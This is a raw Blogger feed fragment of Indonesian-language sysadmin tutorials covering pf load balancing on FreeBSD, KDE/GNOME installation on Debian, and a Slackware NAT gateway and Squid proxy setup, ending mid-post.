href='http://www.blogger.com/feeds/4903901177302388009/posts/default/8889481705420451036'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2011/02/squid-pada-outgoing-load-balancing.html' title='Squid Pada Load Balancing Connection'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-3830972069149861752</id><published>2011-02-21T18:44:00.000-08:00</published><updated>2011-02-21T18:47:20.987-08:00</updated><title type='text'>Konfigurasi Load Balancing pada FreeBSd</title><content type='html'>apa maksud outgoing load balancing pada bahasan kali ini  ?  yang saya maksud outgoing load balancing di sini adalah balancing   2 koneksi internet atau lebih  dan mengoptimalkan koneksi tersebut.&lt;br /&gt;&lt;br /&gt;dalam melakukan load balancing ini saya menggunakan pf pool&lt;br /&gt;&lt;br /&gt;http://www.openbsd.org/faq/pf/pools.html#outgoing &lt;br /&gt;&lt;br /&gt;dalam contoh kali ini akan saya sajikan 2 koneksi saja. untuk lebih dari 2 koneksi silahakan anda mencobanya&lt;br /&gt;&lt;br /&gt;dan berexperimen sendiri.&lt;br /&gt;&lt;br /&gt;pra syarat :&lt;br /&gt;&lt;br /&gt;1. Kernel sudah di kompile suport PF&lt;br /&gt;&lt;br /&gt;2. Ada 3 buah lancard 2 untuk koneksi wan dan 1 untuk LAN&lt;br /&gt;&lt;br /&gt;3. Dua line  koneksi isp &lt;br /&gt;&lt;br /&gt;pertama silahkan anda login ke server anda  : &lt;br /&gt;&lt;br /&gt;ogeb@ogeb-desktop:~$ ssh ogeb@indofreebsd.or.id This e-mail address is being protected from spambots. You need JavaScript enabled to view it&lt;br /&gt;&lt;br /&gt; Password:****************&lt;br /&gt;&lt;br /&gt; [ogeb@indofreebsd ~]$ sudo su -&lt;br /&gt;&lt;br /&gt;indofreebsd#&lt;br /&gt;&lt;br /&gt;selanjutnya yang saya lakukan adalah mengcompile kernel agar support pf firewall dan builtin dalam kernel&lt;br /&gt;&lt;br /&gt;merujuk ke http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/firewalls-pf.html &lt;br /&gt;&lt;br /&gt;indofreebsd# cd  /sys/i386/conf/&lt;br /&gt;&lt;br /&gt;indofreebsd#cp GENERIC indofreebsd&lt;br /&gt;&lt;br /&gt;indofreebsd# vi indofreebsd &lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;#----tambahkan baris berikut pada konfigurasi kernel anda ----#&lt;br /&gt;&lt;br /&gt;###---untuk support PF----###  &lt;br /&gt;&lt;br /&gt;device pf&lt;br /&gt;device pflog&lt;br /&gt;device pfsync&lt;br /&gt;&lt;br /&gt;###---untuk support altq cbq jika diperlukan nanti ---#&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;options         ALTQ&lt;br /&gt;options         ALTQ_CBQ        # Class Bases Queuing (CBQ)&lt;br /&gt;options         ALTQ_RED        # Random Early Detection (RED)&lt;br /&gt;options         ALTQ_RIO        # RED In/Out&lt;br /&gt;options         ALTQ_HFSC       # Hierarchical Packet Scheduler (HFSC)&lt;br /&gt;options         ALTQ_PRIQ       # Priority Queuing (PRIQ)&lt;br /&gt;options         ALTQ_NOPCC      # Required for SMP build&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;####---cuman segini yang perlu ditambahain ---------#&lt;br /&gt;&lt;br /&gt;save konfigurasi kernel &lt;br /&gt;&lt;br /&gt;setelah mengedit konfigurasi kernel lalu saya mengcompile kernel ulang.&lt;br /&gt;&lt;br /&gt;indofreebsd# cd /usr/src &lt;br /&gt;&lt;br /&gt;indofreebsd#make buildkernel KERNCONF=indofreebsd&lt;br /&gt;&lt;br /&gt; --------------------------------------------------------------&lt;br /&gt;&gt;&gt;&gt; Kernel build for indofreebsd completed on TUE Jun 26 05:57:45 WIT 2007&lt;br /&gt;--------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;setelah itu saya install kernel nya&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;indofreebsd# make installkernel KERNCONF=indofreebsd&lt;br /&gt;&lt;br /&gt;install -o root -g wheel -m 555   if_xe.ko /boot/kernel&lt;br /&gt;===&gt; xl (install)&lt;br /&gt;install -o root -g wheel -m 555   if_xl.ko /boot/kernel&lt;br /&gt;===&gt; zlib (install)&lt;br /&gt;install -o root -g wheel -m 555   zlib.ko /boot/kernel&lt;br /&gt;kldxref /boot/kernel&lt;br /&gt;&lt;br /&gt;indofreebsd#&lt;br /&gt;saya disini menggunakan pf untuk load balancedan saya tidak menjelaskan teknik kompile kernel, saya disini dan saya kira anda sudah mengerti cara mengaktikannya dan tidak perlu dijelaskan lagi, saya disini menggunakan 2 Koneksi internet satu Leased Line dan Adsl yaitu komputer dengan ip 192.168.0.1 s/d 192.168.0.7 menggunakan Leased Line dan Komputer dengan ip 192.168.0.8 s/d 192.168.0.14 menggunakan adsl&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;langkap pertama tambahkan di rc.conf&lt;br /&gt;&lt;br /&gt;lintascakrawala# ee /etc/rc.conf&lt;br /&gt;&lt;br /&gt;defaultrouter=”gateway1”&lt;br /&gt;&lt;br /&gt;static_routes="link1 link2 link3 link4 link5"&lt;br /&gt;&lt;br /&gt;route_link1="58.0.0.0/8 gateway2"&lt;br /&gt;&lt;br /&gt;route_link2="60.0.0.0/8 gatewa2"&lt;br /&gt;&lt;br /&gt;route_link3="62.0.0.0/8 gateway2"&lt;br /&gt;&lt;br /&gt;route_link4="202.0.0.0/8 gatewa2"&lt;br /&gt;&lt;br /&gt;route_link5="203.0.0.0/8 gateway2"&lt;br /&gt;&lt;br /&gt;langkah kedua edit pf di pf.conf&lt;br /&gt;&lt;br /&gt;lintascakrawala#ee /etc/pf.conf&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;########## Local Area Network #######################&lt;br /&gt;&lt;br /&gt;lan1 = "{192.168.0.1,192.168.0.2,192.168.0.3,192.168.0.4,192.168.0.5,192.168.0.6,192.168.0.7}"&lt;br /&gt;&lt;br /&gt;lan2 = "{192.168.0.8,192.168.0.9,192.168.0.10,192.168.0.11,192.168.0.12,192.168.0.100,192.168.0.13,192.168.0.14}"&lt;br /&gt;&lt;br /&gt;dns1 = "{x.x.x.x,x.x.x.x}"  &lt;--- dnsnya Leased Line&lt;br /&gt;&lt;br /&gt;dns2 = "{x.x.x.x,x.x.x.x}"  &lt;--- dnsnya Adsl&lt;br /&gt;&lt;br /&gt;ob_state = "flags S/SA keep state"&lt;br /&gt;&lt;br /&gt;int_if  = "rl1"    &lt;--- Local Area Network&lt;br /&gt;&lt;br /&gt;ext_if1 = "rl0"  &lt;--- Internet 1&lt;br /&gt;&lt;br /&gt;ext_if2 = "rl2"  &lt;--- Internet 2&lt;br /&gt;&lt;br /&gt;ext_gw1 = "x.x.x.x" &lt;--- Gateway 1&lt;br /&gt;&lt;br /&gt;ext_gw2 = "x.x.x.x" &lt;--- Gateway 2&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;#  nat outgoing connections on internet 2 connections&lt;br /&gt;&lt;br /&gt;nat on $ext_if1 proto {tcp,udp,icmp} from $lan1 to any -&gt; ($ext_if1)&lt;br /&gt;&lt;br /&gt;nat on $ext_if2 proto {tcp,udp,icmp} from $lan2 to any -&gt; ($ext_if2)&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;#  pass all outgoing packets on internal interface&lt;br /&gt;&lt;br /&gt;pass out on $int_if from any to $lan1&lt;br /&gt;&lt;br /&gt;pass out on $int_if from any to $lan2&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;#  pass in quick any packets destined for the gateway itself&lt;br /&gt;&lt;br /&gt;pass in quick on $int_if from $lan1 to $int_if&lt;br /&gt;&lt;br /&gt;pass in quick on $int_if from $lan2 to $int_if&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;#  load balance outgoing tcp traffic from internal network.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;pass in on $int_if route-to { ($ext_if1 $ext_gw1) } round-robin proto tcp from $lan1 to any flags S/SA modulate state&lt;br /&gt;&lt;br /&gt;pass in on $int_if route-to { ($ext_if2 $ext_gw2) } round-robin proto tcp from $lan2 to any flags S/SA modulate state&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;#  load balance outgoing udp and icmp traffic from internal network&lt;br /&gt;&lt;br /&gt;pass in on $int_if route-to { ($ext_if1 $ext_gw1) } round-robin  proto { udp, icmp } from $lan1 to any keep state&lt;br /&gt;&lt;br /&gt;pass in on $int_if route-to { ($ext_if2 $ext_gw2) } round-robin  proto { udp, icmp } from $lan2 to any keep state&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;#  general "pass out" rules for external interfaces&lt;br /&gt;&lt;br /&gt;pass out on $ext_if1 proto tcp from any to any flags S/SA modulate state&lt;br /&gt;&lt;br /&gt;pass out on $ext_if1 proto { udp, icmp } from any to any keep state&lt;br /&gt;&lt;br /&gt;pass out on $ext_if2 proto tcp from any to any flags S/SA modulate state&lt;br /&gt;&lt;br /&gt;pass out on $ext_if2 proto { udp, icmp } from any to any keep state&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;#  route packets from any IPs on $ext_if1 to $ext_gw1 and the same for&lt;br /&gt;&lt;br /&gt;#  $ext_if2 and $ext_gw2&lt;br /&gt;&lt;br /&gt;pass out on $ext_if1 route-to ($ext_if2 $ext_gw2) from $ext_if2 to any&lt;br /&gt;&lt;br /&gt;pass out on $ext_if2 route-to ($ext_if1 $ext_gw1) from $ext_if1 to any&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;###############Domain Name Server Leased Line#######################&lt;br /&gt;&lt;br /&gt;antispoof for $int_if&lt;br /&gt;&lt;br /&gt;pass quick on lo0 all&lt;br /&gt;&lt;br /&gt;pass out quick on $int_if proto tcp  from $lan1 to $dns1 port 53 $ob_state&lt;br /&gt;&lt;br /&gt;pass out quick on $int_if proto udp from $lan1 to $dns1 port 53 keep state&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;##############Domain Name Server Adsl###################&lt;br /&gt;&lt;br /&gt;pass out quick on $int_if proto tcp from $lan2 to $dns2 port 53 $ob_state&lt;br /&gt;&lt;br /&gt;pass out quick on $int_if proto udp from $lan2 to $dns2 port 53 keep state&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Tahap selanjut simpan pf.conf  &lt;br /&gt;&lt;br /&gt;restart pfctcl&lt;br /&gt;&lt;br /&gt;lintascakrawala#pfctl -NORf /etc/pf.conf&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;dan Tahap Terakhir coba jalankan pf&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;lintascakrawala#pfctl -f /etc/pf.conf&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;selesai sudah tahap pembuatan loadbalance script tersebut diatas jalan diserver saya terima kasih saya ucapkan kepada ogeb,dani78,setrum,apin dan rekan rekan di #indofreebsd dan tidak lupa buat Rei` selalu mendukung saya, dan yang tidak bisa saya sebutkan satu satu mohon dimaafkansebagai referensi  &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;http://www.indofreebsd.or.id&lt;br /&gt;&lt;br /&gt;http://www.openbsd.org/faq/pf/pools.html#outgoing &lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-3830972069149861752?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kluthix.blogspot.com/feeds/3830972069149861752/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://kluthix.blogspot.com/2011/02/konfigurasi-load-balancing-pada-freebsd.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/3830972069149861752'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/3830972069149861752'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2011/02/konfigurasi-load-balancing-pada-freebsd.html' title='Konfigurasi Load Balancing pada FreeBSd'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-3071763100838343883</id><published>2011-02-21T18:30:00.000-08:00</published><updated>2011-02-21T18:35:55.963-08:00</updated><title type='text'>Instalasi KDE, GNOME pada Debian</title><content type='html'>Untuk melakukan instalasi dekstop GUI, Anda perlu menginstal x-window-system-core, kde, gnome&lt;br /&gt;&lt;br /&gt;Install KDE di debian&lt;br /&gt;&lt;br /&gt;#apt-get install kde x-window-system-core&lt;br /&gt;&lt;br /&gt;Anda akan mungkin juga ingin menginstal KDM, untuk layar login KDE-gaya.&lt;br /&gt;&lt;br /&gt;#apt-get install kdm&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Memulai KDE&lt;br /&gt;&lt;br /&gt;Untuk memulai KDE, ketik&lt;br /&gt;&lt;br /&gt;#startkde&lt;br /&gt;&lt;br /&gt;Anda mungkin perlu untuk menjalankan X-Server jika itu tidak berjalan, untuk mulai berjalan ketikan&lt;br /&gt;&lt;br /&gt;#startx&lt;br /&gt;&lt;br /&gt;Untuk memulai KDE setiap kali (Anda mungkin ingin ini) Anda perlu untuk mengedit file startup Anda. Jika Anda menggunakan KDM atau XDM untuk log in, edit. Xsession, dinyatakan mengedit xinitrc atau.. Xclients.&lt;br /&gt;&lt;br /&gt;Install Gnome di Debian&lt;br /&gt;&lt;br /&gt;#apt-get install gnome&lt;br /&gt;&lt;br /&gt;Ini akan menginstal software tambahan (gnome-office, evolusi) yang mungkin tidak anda inginkan.&lt;br /&gt;&lt;br /&gt;Untuk satu set yang lebih kecil dari aplikasi, Anda juga dapat melakukan&lt;br /&gt;&lt;br /&gt; #aptitude install gnome-desktop-lingkungan&lt;br /&gt;&lt;br /&gt;Satu set aplikasi produktivitas tambahan akan diinstal oleh&lt;br /&gt;&lt;br /&gt; #aptitude install gnome-kelima-toe&lt;br /&gt;&lt;br /&gt;Pengembang&lt;br /&gt;&lt;br /&gt;Jika Anda membutuhkan paket pengembangan, misalnya untuk mengkompilasi paket GNOME tergantung dari sumber, Anda harus mencoba&lt;br /&gt;&lt;br /&gt; #aptitude install gnome-core-devel&lt;br /&gt;&lt;br /&gt;Untuk satu set lengkap alat-alat pengembang, silahkan lakukan&lt;br /&gt;&lt;br /&gt; #aptitude install gnome-devel&lt;br /&gt;&lt;br /&gt;Prosedur instalasi seperti yang akan Anda rincian kartu video keyboard, dan mouse. Beberapa petunjuk&lt;br /&gt;&lt;br /&gt;- PS/2 mouse pada /dev/psaux.&lt;br /&gt;&lt;br /&gt;- Mouse dengan port USB biasanya terletak pada direktori /dev/input/mouse0&lt;br /&gt;&lt;br /&gt;- Pastikan untuk memilih video driver yang benar. Jika Anda memilih salah satu yang tidak tepat, X tidak akan mulai. Jika Anda tidak yakin driver mana yang digunakan, bertanya di sini.&lt;br /&gt;&lt;br /&gt;- Jika Anda benar-benar tidak tahu, gunakan driver 'vesa'yang dapat bekerja pada kartu apapun.&lt;br /&gt;&lt;br /&gt;- Selain hal-hal yang tercantum di atas, Anda dapat menerima jawaban default, tapi pastikan untuk benar-benar membaca apa installer bertanya; default mungkin tidak apa yang Anda inginkan.&lt;br /&gt;&lt;br /&gt;Setelah Anda selesai, Anda memiliki dua pilihan.&lt;br /&gt;&lt;br /&gt;Yang pertama adalah untuk mengedit ~ / file xinitrc., Dan menulis "exec startkde 'atau garis' gnome sesi-exec 'untuk itu, tergantung pada apa yang Anda ingin memulai. Setelah ini, jika anda masalah perintah 'startx', GUI yang mudah-mudahan akan mulai.&lt;br /&gt;&lt;br /&gt;Pilihan kedua adalah untuk menginstal sebuah login manager, yang mungkin merupakan pilihan yang lebih nyaman, dan baik bagi kebanyakan orang. Cukup instal kdm atau paket gdm (yang pertama login manager KDE, yang terakhir adalah Gnome). Tidak peduli mana yang Anda pilih, Anda selalu dapat memilih Anda GUI setelah login, jika Anda menginstal KDE dan Gnome.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-3071763100838343883?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kluthix.blogspot.com/feeds/3071763100838343883/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://kluthix.blogspot.com/2011/02/instalasi-kde-gnome-pada-debian.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/3071763100838343883'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/3071763100838343883'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2011/02/instalasi-kde-gnome-pada-debian.html' title='Instalasi KDE, GNOME pada Debian'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-1040240521551939869</id><published>2011-02-21T18:28:00.000-08:00</published><updated>2011-02-21T18:29:34.064-08:00</updated><title type='text'>Membuat Router Pada Slackware</title><content type='html'>Pada artikel kali ini saya mencoba untuk menulis bagaimana membuat sebuah pc router berbasis slackware, Jika kita mempunyai beberapa komputer yang saling terhubung lewat jaringan (ethernet misalnya), kita dapat menggunakan Slackware sebagai pintu gerbang (router/gateway) untuk menyambungkan semua komputer ke internet.&lt;br /&gt;Router dan gateway sendiri sebenarnya secara teori mempunyai filosofi arti yang berbeda, gateway sebenarnya mengacu pada alat yang difungsikan untuk menjembatani dua buah jaringan yang mempunyai topologi berbeda, berbeda subnet, dsb, sedangkan router untuk mengatur pengalamatan paket-paket data dalam jaringan yang berbeda sehingga komunikasi dapat terlaksana.&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Akan tetapi dalam kenyataan sehari-hari, router dan gateway seringkali hanya ditangani oleh sebuah alat saja. Hal inilah yang menyebabkan router selalu diidentikkan dengan gateway, demikian pula sebaliknya.&lt;br /&gt;&lt;br /&gt;Router banyak didistribusikan dalam bentuk paket perangkat keras terpadu bermerek seperti Cisco, Huawe dan lain-lain dengan harga yang relatif mahal. Tetapi kita juga dapat membangun sebuah PC Router dengan biaya yang relatif murah menggunakan Slackware&lt;br /&gt;&lt;br /&gt;NAT (Network Address Translation)&lt;br /&gt;&lt;br /&gt;Misalkan, ada lima buah PC yang terhubung ke akses Internet, maka secara gamblang akan dibutuhkan juga paling tidak lima sambungan telepon untuk masing-masing PC tersebut. Tentunya pembiayaan untuk sambungan ini akan menjadi sangat mahal, bukan? Nah, disinilah fungsi NAT di perlukan. Dengan konsep NAT, hanya diperlukan satu buah sambungan telepon saja ke sebuah PC (PC dengan min. 2 buah NIC biasanya), kemudian empat PC yang lain dihubungkan ke switch. Kemudian switch dihubungkan dengan salah satu NIC (Network Internet Card) komputer yang terhubung dengan Internet. Dimana komputer tersebut difungsikan sebagai gateway dengan oleh mesin slackware yang terinstal didalamnya. NAT secara otomatis akan menterjemahkan alamat IP dari setiap komputer di jaringan lokal menjadi satu alamat IP publik. Gateway juga dapat berfungsi sebagai firewall yang melindungi client dari akses yang tidak diinginkan.&lt;br /&gt;&lt;br /&gt;Konfigurasi mesin Slackware untuk Gateway&lt;br /&gt;&lt;br /&gt;Sebelum membuat mesin slackware menjadi gateway dalam jaringan lokal yang kita miliki tentunya hal pertama yang perlu dilakukan adalah menginstall distro slackware pada komputer yang akan dijadikan gateway. untuk mengetahui bagaimana cara menginstal slackware dapat di lihat di artikel saya sebelum nya Di sini Ini juga berlaku untuk distro linux lainya, tinggal menyesuaikan saja konfigurasi yang ada sesuai distronya, Disini saya menggunakan Slackware 12&lt;br /&gt;&lt;br /&gt;Jika kita sudah memiliki mesin slackware yang akan dijadikan Gateway, pertama-tama kita pastikan terlebih dulu apakan ethernet yang terpasang pada mesin slackware sudah up apa belum ? (Untuk keperluan Gateway, membutuhkan min. 2 NIC. Tergantung jumlah network yang akan kita hubungkan). Diasumsikan NIC pertama terhubung ke ISP tempat kita berlangganan akses internet dan NIC kedua terhubung ke jaringan lokal milik kita. Untuk mengecek keadaan ethernet, bisa dilakukan dengan perintah “ifconfig”.&lt;br /&gt;&lt;br /&gt;root@darkstar:~# ifconfig&lt;br /&gt;eth0 Link encap:Ethernet HWaddr 00:0C:29:5F:FF:FF&lt;br /&gt;inet addr:10.10.1.2 Bcast:10.10.1.255 Mask:255.255.255.0&lt;br /&gt;inet6 addr: fe80::20c:29ff:fe5f:ffff/64 Scope:Link&lt;br /&gt;UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1&lt;br /&gt;RX packets:72 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;TX packets:43 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;collisions:0 txqueuelen:1000&lt;br /&gt;RX bytes:7380 (7.2 KiB) TX bytes:6633 (6.4 KiB)&lt;br /&gt;Interrupt:17 Base address:0×1080&lt;br /&gt;&lt;br /&gt;eth1 Link encap:Ethernet HWaddr 00:0C:29:5F:FF:09&lt;br /&gt;inet addr:192.168.1.1 Bcast:192.168.1.255 Mask:255.255.255.0&lt;br /&gt;inet6 addr: fe80::20c:29ff:fe5f:ff09/64 Scope:Link&lt;br /&gt;UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1&lt;br /&gt;RX packets:0 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;TX packets:6 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;collisions:0 txqueuelen:1000&lt;br /&gt;RX bytes:0 (0.0 b) TX bytes:468 (468.0 b)&lt;br /&gt;Interrupt:18 Base address:0×1400&lt;br /&gt;&lt;br /&gt;lo Link encap:Local Loopback&lt;br /&gt;inet addr:127.0.0.1 Mask:255.0.0.0&lt;br /&gt;inet6 addr: ::1/128 Scope:Host&lt;br /&gt;UP LOOPBACK RUNNING MTU:16436 Metric:1&lt;br /&gt;RX packets:10 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;TX packets:10 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;collisions:0 txqueuelen:0&lt;br /&gt;RX bytes:664 (664.0 b) TX bytes:664 (664.0 b)&lt;br /&gt;&lt;br /&gt;Apabila ada output seperti diatas berarti ethernet kita sudah terdeteksin dengan baik oleh kernel dan keduanya dalam keadaan up / aktif. Tingal sesuaikan IP Addressnya dengan network yang kita miliki. Tetapi jika dalam keadanya kita mengeksekusi perintah ifconfig tadi di atas hanya keluar output berupa :&lt;br /&gt;&lt;br /&gt;root@darkstar:~# ifconfig&lt;br /&gt;lo Link encap:Local Loopback&lt;br /&gt;inet addr:127.0.0.1 Mask:255.0.0.0&lt;br /&gt;inet6 addr: ::1/128 Scope:Host&lt;br /&gt;UP LOOPBACK RUNNING MTU:16436 Metric:1&lt;br /&gt;RX packets:10 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;TX packets:10 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;collisions:0 txqueuelen:0&lt;br /&gt;RX bytes:664 (664.0 b) TX bytes:664 (664.0 b)&lt;br /&gt;&lt;br /&gt;Maka ada 2 kemungkinan apakah ethernet kita belum up atau tidak dikenali oleh kernel slackware ? Untuk memastikan apakan ethernet kita dikenali oleh kernel bisa dilakukan cek menggunakan perintah :&lt;br /&gt;&lt;br /&gt;root@darkstar:~# dmesg | grep eth&lt;br /&gt;eth0: registered as PCnet/PCI II 79C970A&lt;br /&gt;eth1: registered as PCnet/PCI II 79C970A&lt;br /&gt;eth0: no IPv6 routers present&lt;br /&gt;eth1: no IPv6 routers present&lt;br /&gt;&lt;br /&gt;Terlihat bahwa eth0 dan eth1 terdeteksi oleh kernel, maka selankutnya kita tinggal meng-up-kan ethernet agar dapat di gunakan dengan perintah :&lt;br /&gt;&lt;br /&gt;root@darkstar:~# ifconfing eth0 up&lt;br /&gt;root@darkstar:~# ifconfing eth1 up&lt;br /&gt;&lt;br /&gt;Selanjutnya mengkonfigurasi IP Address pada masing-masing NIC sesuai dengan konfigurasi jaringan kita. Untuk mengkonfigurasi alamat IP pada mesing slackware dapat dengan kita lakukan dengan mengedit file rc.inet1.conf yang berada pada /etc/rc.d/ .&lt;br /&gt;&lt;br /&gt;root@darkstar:~# vi /etc/rc.d/rc.inet1.conf&lt;br /&gt;# =============================&lt;br /&gt;&lt;br /&gt;# Config information for eth0:&lt;br /&gt;IPADDR[0]=”202.83.xxx.xxx”&lt;br /&gt;NETMASK[0]=”255.255.255.0?&lt;br /&gt;USE_DHCP[0]=””&lt;br /&gt;DHCP_HOSTNAME[0]=””&lt;br /&gt;&lt;br /&gt;# Config information for eth1:&lt;br /&gt;IPADDR[1]=”192.168.1.xxx”&lt;br /&gt;NETMASK[1]=”255.255.255.0?&lt;br /&gt;USE_DHCP[1]=””&lt;br /&gt;DHCP_HOSTNAME[1]=””&lt;br /&gt;&lt;br /&gt;# Default gateway IP address:&lt;br /&gt;GATEWAY=”202.83.xxx.xxx”&lt;br /&gt;&lt;br /&gt;Sampai sini kita sudah mengkonfigurasi alamat IP pada masing-masing NIC, disini (xxx) merupakan IP kita (jadi sesuaikan sendiri yach Smile) Selanjutnya kita memasukan konfigurasi DNS dari ISP kita ke mesin slackware dengan mengedit file resolv.conf yang ada pada /etc .&lt;br /&gt;&lt;br /&gt;root@darkstar:~# vi /etc/resolv.conf&lt;br /&gt;search xborneo.org&lt;br /&gt;nameserver 219.155.xxx.xxx&lt;br /&gt;nameserver 202.134.xxx.xxx&lt;br /&gt;&lt;br /&gt;Terakhir yang perlu kita lakukan adalah membuat NAT dari alamat-alamat jaringan lokal kita ke alamat IP public milik ISP langganan. Jadi nantinya semua package yang berasal dari jaringan lokal kita akan di translasikan ke alamat ip yang valid di internet (IP Public ISP). Ini juga merupakan salah satu cara untuk mensiasati semakin terbatasnya IPv4 di internet.&lt;br /&gt;&lt;br /&gt;root@darkstar:~# echo “iptables -t nat -A POSTROUTING -s 192.168.1.0/24 -d 0/0 -j SNAT –to 202.83.xxx.xxx” &gt;&gt; /etc/rc.d/rc.local&lt;br /&gt;&lt;br /&gt;Nah pada line diatas kita memasukan rule dengan perintah iptables dan menyimpannya pada file rc.local yang berada pada /etc/rc.d yang nantinya akan selalu di eksekusi setiap kali mesin slackware booting. Disini -s 192.168.1.0/24 merupakan network jaringan lokal milik kita dan 202.83.xxx.xxx adalah alamat IP Public yang diberikan ISP langganan kita.&lt;br /&gt;&lt;br /&gt;Oke, selesai sudah semua yang perlu kita lakukan untuk mesih gateway kita. Langkah terakhir adalah me-reboot ulang mesin slackware kita untuk menghubungkan jaringan lokal kita ke internet&lt;br /&gt;&lt;br /&gt;Posted in Uncategorized | Tinggalkan komentar&lt;br /&gt;Konfigurasi Proxxy di slackware&lt;br /&gt;Posted on Januari 22, 2011 by rantiinel &lt;br /&gt;&lt;br /&gt;* Home&lt;br /&gt;* That’s who i am&lt;br /&gt;&lt;br /&gt;Membuat Proxy Server dengan Linux SLACKWARE&lt;br /&gt;&lt;br /&gt;April 25, 2008&lt;br /&gt;&lt;br /&gt;Proxy Server&lt;br /&gt;&lt;br /&gt;Squid Proxy Server&lt;br /&gt;&lt;br /&gt;Jika Anda sebagai administrator Lab. Komputer (dengan jumlah komputer 40), dan dilengkapi&lt;br /&gt;dengan modem ADSL kecepatan 384kbbs/64kbbs , maka tanpa web-cache,, jumlah bandwith&lt;br /&gt;yang diperlukan untuk berinternet ria adalah 40 x trafik data masing2 komputer.&lt;br /&gt;Jika masing2 browser tiap komputer membuka www.yahoo.com, maka trafik data adalah 40 x 31&lt;br /&gt;KByte.&lt;br /&gt;Squid merupakan proxy server populer di dunia. Banyak fungsi yang diemban oleh proxy server.&lt;br /&gt;Salah satunya adalah sebagai web-cache.&lt;br /&gt;Sebelum memulai, siapa yang akan menjalankan squid ? Tambahkan user dan group baru&lt;br /&gt;bernama squid.&lt;br /&gt;roor@komputer7:~# groupadd squid&lt;br /&gt;Tambahkan user squid:&lt;br /&gt;roor@komputer7:~# adduser squid&lt;br /&gt;Ada 2 model penggunaan paket squid. Kompile dan install dari source. Atau kompile lewat&lt;br /&gt;SlackBuild.&lt;br /&gt;&lt;br /&gt;Abdul Rais Husain | ICT Center Majene2&lt;br /&gt;&lt;br /&gt;Pertama2 buat 